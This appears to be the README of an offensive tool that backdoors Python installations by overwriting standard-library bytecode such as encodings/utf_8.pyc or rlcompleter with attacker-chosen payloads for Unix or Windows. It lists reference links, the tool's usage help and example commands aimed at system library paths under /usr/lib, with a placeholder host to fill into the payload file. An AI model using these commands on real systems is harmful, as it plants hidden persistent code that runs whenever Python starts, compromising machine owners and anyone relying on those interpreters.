https://www.virusbtn.com/virusbulletin/archive/2011/07/vb201107-reversing-Python#id3072912
https://github.com/jgeralnik/Pytroj
http://www.slideshare.net/iamit/infecting-python-bytecode

python27|python3X ./backdoor-pyc27.py -h

Usage: backdoor-pyc27.py [-h] [-p PATH] [-l NIX] [-w WINDOWS]

To replace utf_8.pyc with your code...

optional arguments:
  -h, --help            show this help message and exit
  -p PATH, --path PATH  path to utf_8.pyc
  -l NIX, --nix NIX     payload for nix
  -w WINDOWS, --windows WINDOWS
                        payload for windows



*Make edits to the testing27.py file [HOST]*

For python27
python ./backdoor-pyc27.py -l testing27.py -p /usr/lib/python27/encodings/utf_8.py


For python3.X 
python3 ./backdoor-pyc3X.py -l testing3X.py -p /usr/lib/python3/rlcompleter.py -v 34  #notice version for python3